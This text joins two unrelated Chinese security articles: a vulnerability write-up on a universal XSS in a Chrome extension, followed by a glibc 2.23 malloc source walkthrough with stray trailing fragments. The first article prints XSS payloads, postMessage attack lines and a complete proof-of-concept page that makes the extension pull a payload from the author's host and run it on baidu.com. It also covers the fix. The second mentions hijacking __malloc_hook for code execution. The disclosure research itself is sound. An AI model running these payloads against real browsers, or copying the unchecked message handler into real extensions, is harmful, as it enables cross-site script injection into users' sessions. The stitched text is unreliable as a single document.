这是我春节前挖到的一个漏洞，大概抓取了用户量top400的 Chrome
扩展，对比较在意的几个问题写了脚本删选了一部分出来，再逐个审计。本次讲的这个漏洞是想产出 UXSS 的时候挖的 UXSS 漏洞之一。我觉得比较典型，涉及到
content_scripts 和 background 脚本及其他 Chrome 扩展的特性，相对来说比较有趣，坑也稍微多一点。
由于不能公开插件详情，我把该插件和漏洞相关的源码抽出来，去掉一些带有公司名的关键字，放到 github 上:
<https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss>
`git clone` 到本地，打开 chrome://extensions/， 开启“开发者模式”, 点击 “加载已解压的扩展程序…” 按钮，选择
content_scripts_uxss 文件夹即可。
## manifest.json
manifest.json 是 Chrome 扩展的清单文件，Chrome 解析扩展时会检查这个文件的内容是否符合规范。审计也一般从这里开始：
{
"name": "content_script_uxss_example",
"description": "一个由原型修改而来会产生UXSS的Chrome插件",
"version": "1.0",
"manifest_version": 2,
"background": {
"scripts": [
"/core/js/jquery.min.js",
"/core/js/background.js"
]
},
"author": "neargle@sec-news",
"content_scripts": [
{
"matches": [
"http://*/*",
"https://*/*",
"file:///*/*"
],
"exclude_matches": [],
"js": [
"/core/js/jquery.min.js",
"/core/js/content_script.js"
],
"run_at": "document_end",
"all_frames": true
}
]
}
关注点在 background 和 content_scripts:
1. background 可以设置一个扩展创建时就一直在后台存在的页面，只有关闭扩展才会使这个页面绑定的事件失效，重启扩展或浏览器才可以使定义的全局变量重新定义（Mac 下 `command + Q`）。如果设置了 `page` 属性， 如 `"background":{"page": "background.html"}`, 则这个文件就是该扩展的后台页面，可以访问 `chrome-extension://{扩展ID}/background.html` 进行调试，像本例中只设置了 scripts 属性的情况， 那么 Chrome 会自己生成这个 page 页面，地址在 `chrome-extension://{扩展ID}/_generated_background_page.html`。
2. content_scripts 可以设置多个， 每一次访问一个 url 符合 matches 的匹配条件且不符合 exclude_matches 里所写的排除条件时，会运行 “js” 里设置的脚本。 matches 可以使用 `<all_urls>` 匹配所有 url。”run_at” 设置的是 content_scripts 的运行时间， all_frames 为 true 的时候，页面中 iframe 内部的页面也会触发 content_scripts。
background 和 content_scripts 及我们所运行的原本的网页，都不在同一个运行时上下文内，里面定义的变量不可互相访问，每个
runtime 可以访问的 api 也有所不同。但可以使用 `window.addEventListener` 给原本页面的 window
添加事件，通过事件操作 DOM 结构，background 和 content_scripts 之间的相互作用也经常使用
`chrome.extension.onRequest.addListener` 或
`chrome.runtime.onMessage.addListener` 进行。
## content_scripts
最开始我注意点其实是 /core/js/content_script.js 中的第
[#68](https://github.com/neargle/hacking-extensions/blob/master/content_scripts_uxss/core/js/content_script.js#L68)
行的代码:
if (location.href.indexOf("?") > 0) {
var a = location.href.split("?")[1].split("&");
$(a).each(function() {
var b = this.split("=");
query[b[0]] = b[1]
})
}
一般插件内部使用的 jquery 版本不经常更新，该插件使用的 jquery 版本是 v1.7.1，存在如下漏洞:
而 a 参数的值很显然是获取当前 url 的 GET 请求参数，如果它直接使用 `location.search`， 那么 Chrome 里面里面会进行
url 编码， 比较难以利用，但是这里的这种写法却是可以使用 hash 来 bypass 的，设置一个如 `#?<img src=@
onerror=prompt()>` 可以使得 `a=["<img src=@ onerror=prompt()>"]`, 例如
`https://www.baidu.com/#?<img src=@ onerror=prompt()>`。
但是，当 jquery 传入的选择器为数组的时候，该函数并不会触发漏洞， 如 `$(['<img src=1
onerror=prompt()>'])`。而且之后发现了更加有趣的 postmessage 接口，就把注意力转移到了接下来的代码上。
### message 事件
扩展内使用 message 事件的情况，并不少见，在我爬取的 top400 的扩展中，有将近 200 插件在 content_script 内对
window 添加了 message 监听事件，本例中也有
[content_script.js#L3](https://github.com/neargle/hacking-extensions/blob/master/content_scripts_uxss/core/js/content_script.js#L3):
window.addEventListener("message", function(a) {
if (a.data != undefined) {
plugdata = a.data;
if (plugdata.Action != undefined)
if (plugdata.Action == "GETCOOKIE") chrome.extension.sendRequest(plugdata, function() {});
else if (plugdata.Action != "VERSION") {
if (plugdata.background == undefined || plugdata.background == false) $("#divDetail").html("<br/><center>notifications with some message.</center>");
chrome.extension.sendRequest(plugdata, function() {})
}
}
});
这里的 a.data 就是 postMessage 第一个参数传入的值，例如我们用 `ww =
window.open('https://www.google.com/');ww.postMessage("aaaaa", "*");`
发送一个message，那么这个 a.data 就等于 “aaaaa”。
可以发现，这段代码在判断了一下 data.Action 之后，就把 data 的值用 chrome.extension.sendRequest
发送了出去。这也是在浏览器插件里面经常出现的逻辑，因为正常的html页面并不能访问 chrome.extension 的api，如果需要发送信息到
`chrome.extension.onRequest.addListener` 或
`chrome.runtime.onMessage.addListener` 的回调函数内的话， 在 content_script
里面做一次中转也是经常采用的方法。
注意 content_script 有一个经常出现 domxss 输出函数 `html`:
chrome.extension.onRequest.addListener(function(a, b, c) {
switch (a.Action) {
case "FAREResult":
case "ONRESULT":
typeof a.Data.Data === "string" ? $("#IRData").val(a.Data.Data) : $("#IRData").val(JSON.stringify(a.Data.Data));
$("#Message").html(a.Data.Message);
$("#Command").html(a.Data.Action);
break;
}
});
不过这里需要原本页面的 dom 结构里面包含一些条件，必须带有 #Message 和 #Command
两个id的html元素，显然并不是我们想要的。如果页面符合这个条件的话，我们就可以直接使用 `ww =
window.open('https://www.google.com/');ww.postMessage({"Action":"ONRESULT",
"Message":"<img src=1 onerror=prompt()>"}, "*");` 即可造成跨到 google 域的xss攻击。
而 PerformAction 函数却有一个这样的输出，`$("body").html(b)`, 这显然就很通用了。
function PerformAction() {
if (plugdata != null) {
var a = plugdata.Action;
switch (plugdata.Method) {
case "POST":
$.post(plugdata.URL, plugdata.post, function(b) {
if (plugdata.SetBodyText == true) try {
$("body").html(b)
} catch (c) {}
可是原本 plugdata 的定义就为 null, 怎么使其不为 null 进入条件呢？
$(document).ready(function() {
...
$("#Version").html("5.10");
chrome.extension.sendRequest({
Action: "ONLOAD"
}, function(b) {
plugdata = b;
PerformAction()
});
});
可以发现 PerformAction 调用之前有一个赋值，可以使用 {Action: “ONLOAD”} 对其进行赋值，而对 {Action:
“ONLOAD”} 的响应，则在 background.js 内:
var RequestQ = [],
plugdata = null,
IRTab = null,
IRData = null,
requestFilter = {
urls: ["<all_urls>"]
};
chrome.extension.onRequest.addListener(function(a, b, c) {
$.extend(a, {
TabID: b.tab.id
});
plugdata = a;
switch (a.Action) {
case "VERSION":
break;
case "ONLOAD":
c(IRData);
break;
case "GETFARE":
IRData = a;
$.extend(a, {
RequesterTabID: b.tab.id
});
chrome.tabs.getAllInWindow(null, OngetAllInWindow);
c({});
break;
......
这里如果之前不了解 background_page 的特性的话是比较绝望的，因为对于 plugdata 的赋值来自于
chrome.extension.onRequest.addListener 的回调函数 c， 而 c 的参数则是 IRData 也为 null,
也就是说正常来讲 `plugdata = IRData = null`。 虽然我可以发送 {“Action”: “GETFARE”} 来设置 IRData
的值，但是如果 background_page 和 content_script
一样是每一次刷新页面执行一次的话，那就很尴尬了。因为PerformAction 的执行在 `$(document).ready(`,
我必须要要求页面过一段时间再执行 `$(document).ready(` 以求我能在 PerformAction 之前 postMessage 一个
{“Action”: “GETFARE”}，其实这里并不需要这样。 （当然这样的条件竞争也是可以达成的，让 `$(document).ready(`
等一段时间的方法也有很多，一个src地址返回比较慢的script标签就是一个方法）。
## background page
思考了一下 background page 的设计需求，我觉得它不应该像 content_script
一样每次访问页面执行一次。看了一些官方文档，并写了几个 demo，确定了以下两点：
1. background 并不是每次访问页面执行一次，内部定义的变量不会因为页面刷新而重新定义。
2. background 即使域改变也不会重新定义和赋值，所有的域都用一个 runtime。
第一点使得这个漏洞更加容易利用，第二点使得我们所写的 payload 并不只影响在 payload
中利用的网站，而是在浏览器和插件为重启之前，每次访问新的页面都可以在不同域下触发 payload。
## 利用
思路明确了之后，我们只需先 postmessage 一个 `{Action: "GETFARE",Data: {//payload看下面源码}}`， 把
IRData 设置为 Data 属性里的 payload， 再刷新页面使其重新执行 PerformAction 函数，PerformAction
会发送一个post请求到 plugdata.URL 上，并把返回传递到 `$("body").html(b)` 的 b 参数中。（重新设置 iframe 的
src 即可刷新页面）
ps. 由于最近p师傅的 note 神器，证书不能用了，我只能先用我自己没有认证的证书来，baidu 属于 https，要发送 ajax
请求，对象也必须得是 https. 且需要设置 Access-Control-Allow-Origin 和 Access-Control-Allow-Methods。 **请大家在访问poc前，先访问<https://case.neargle.com> ，认证一下那个破证书**。
在插件已经启用的前提下打开以下链接链接即可，跨域到 www.baidu.com 执行 xss。且之后再访问任意网站 payload 都会执行。
poc: <https://blog.neargle.com/hacking-extensions/content_scripts_uxss/poc.html>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>content script uxss poc</title>
</head>
<body>
<h1>hacking-extensions</h1>
<p>source code: <a href="https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss">https://github.com/neargle/hacking-extensions/tree/master/content_scripts_uxss</a></p>
<!-- poc content -->
<iframe src="https://www.baidu.com" style="display: none;"></iframe>
<script>
subframe = frames[0];
data = {
Action: "GETFARE",
Data: {}
}
data.Method = "POST";
data.URL = "https://case.neargle.com/payload/uxss_payload.php";
data.SetBodyText = true;
data.post = {};
setTimeout('subframe.postMessage(data, "*")', 2000);
setTimeout(function(){
document.querySelector('iframe').src = "https://www.baidu.com";
}, 3000);
</script>
</body>
</html>
## 视频演示
您的浏览器不支持video标签
首先访问 <https://blog.neargle.com/hacking-extensions/content_scripts_uxss/poc.html> 触发漏洞，在依次访问 <https://www.baidu.com/>
和 <https://www.google.com/> 证明第二个结论。
## 修复
修复方法有很多，最为常见的就是限定 postMessage 的 source 为当前 window，例如 `evt.source ===
window`，这个是大部分插件采用的方法，如 [React Developer
Tools](https://chrome.google.com/webstore/detail/react-developer-tools/fmkadmapgofadopljbjfkapdkoienihi?hl=zh-CN) 的代码：
function handleMessageFromPage(evt) {
evt.source === window && evt.data && "react-devtools-bridge" === evt.data.source && port.postMessage(evt.data.payload);
}
当然这种防御方式也是可能被 bypass 并受到UXSS影响的，这里暂且不提。
这个插件的情况，其实功能只提供给部分网站，限定 event.origin, 只给部分网站提供该需求即可。例如: `event.origin ===
"https://baidu.com"。`
## 插件爬虫及其它
本次选取的插件，大概有 500000+ 用户(数据更新至2018年春节前)，国内使用的人数较少，大家不用担心受到影响。
使用的爬虫，是之前和蘑菇同学做的研究 <Chrome 插件探针> 遗留下来的一部分项目修改的，可以参考当时研究的paper:
<https://mp.weixin.qq.com/s/HHPxGTk55oEw0Pj4TRg6FA> 和
<https://github.com/neargle/ChromeExtensionKnower> 项目。
## 参考
* <https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage>
* <https://developer.chrome.com/apps/getstarted>
* <https://domstorm.skepticfx.com/modules/?id=5739f797c9e0250300990938>
* <https://github.com/neargle/tips-note/tree/master/postMessage_and_addEventListener_message> | 社区文章 |
# Glibc-2.23 源码分析——malloc部分上
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
终于抽出时间对glibc动态内存管理部分源码进行初略的探究，试着从源码和动调来分析free函数执行过程和一些pwn的攻击技巧，分析的不是很全面，有错误的地方望提出指正，共同进步。ps:欢迎白帽子们关注
涂鸦智能安全响应中心
* * *
## 相关结构体
### Chunk的结构体 malloc_chunk
对于inuse的chunk 只有malloc_chunk.size是生效的，fd，bk指针对于free
chunk生效，fd_nextsize，bk_nextsize对于largebins生效。
### Malloc_par 结构体
与sbrk 与 mmap的申请与释放相关结构体，源码中变量 mp_.
### 64bits 下chunk的内存布局结构
**Allocated chunk**
结构示意图
**标志位**
标志位判定代码
P 0b0001
M 0b0010
A 0b0100
**Free chunk**
结构示意图
**标志位**
P: 标志前一个chunk是否在使用中，配合 size_of_previous_chunk使用进行合并堆块。
P=0 前一个堆块并未被alloc,prev_size生效
P=1 前一个堆块在使用中
**相关指针**
offset name
0x10-0x17 *fd 指向bins中的下一个bin
0x11-0x1f *bk 指向bins中的上一个bin
Freechunk是Largebin 的情况下
0x20-0x27 *fd_nextsize 指向下一个largebin.size
0x28-0x2f *bk_nextsize 指向上一个largebin.size
## 动态内存申请执行流程
### hook跳转的定义部分
### Malloc的执行流程
**hook的获取与调用**
获取 **malloc_hook的值，只要值不为空，跳转**
malloc_hook的值进行函数执行(修改__malloc_hook为onegadget或其他执行流的执行点)
Hook取值 malloc_hook_ini 后跳转执行
**情况1：未有topchunk时申请chunk**
在调用 **malloc_hook后hooks.c malloc_hook_ini()执行**
****
**清空** malloc_hook 之后调用 arena.c>ptmalloc_init()
返回后在进入__libc_malloc()接着调用 _int_malloc()
**_int_malloc()中的处理逻辑**
1.对可用arenas进行检索
2.对fastbin进行申请堆块大小的检索
此时 getmax_fast为0 跳过检索
__
3.对smallbins进行检索
__
Victim == 0 进入执行 malloc_consolidate()
在malloc_consolidate()中不满足检索条件 进入 malloc_init_state()执行进行堆空间的初始化
__
__
4.初始化top过程
__
av->top赋值
__
5.sysmalloc 初始化 heap区域
之后跳回__int_malloc()中,当前未有heap空间且未初始化堆，进入sysmalloc()
使用 sbrk()从系统 中分配 size 大小的虚拟内存块,第一次申请0x20 的chunk，sysmalloc()会指向申请一个topchunk
0x1000
申请完brk后 将brk地址挂载入 struct malloc_par mp.sbrkbase
挂在后的程序内存分布以及 mp结构体查看
之后对申请的空间设置chunk头,先设置申请大小的空间并且设置inuse位, 0x21001
6.计算申请chunk大小，对heap进行分割
申请出的区域先写上申请到的chunk_size
之后再写上top_chunk的chunk_size
初始化申请堆空间调用执行顺序为
**malloc_hook - > malloc_hook_ini -> **libc_malloc -> _int_malloc ->
sysmalloc() -> brk
**情况2：已有 topchunk时申请小size的chunk**
初始化堆块后__malloc_hook == 0,直接进入 _int_malloc 执行
1.对av(main_arena)校验是否存在，进入之后对bins检索需要申请的空间大小
2.Fastbins 检索
3.unsortedbins 检索
4.use_top_chunk
之后进入 use_top 分割topchunk
通过set_head函数 同上一节写入 chunk_size的方式分别写入 new_chunk 和 topchunk头
* * *
本文作者：Jambolt@涂鸦智能安全实验室
漏洞悬赏计划：涂鸦智能安全响应中心（<https://src.tuya.com>) 欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递[[email protected]](mailto:[email protected])，请注明来源。 | 社区文章 |
Subsets and Splits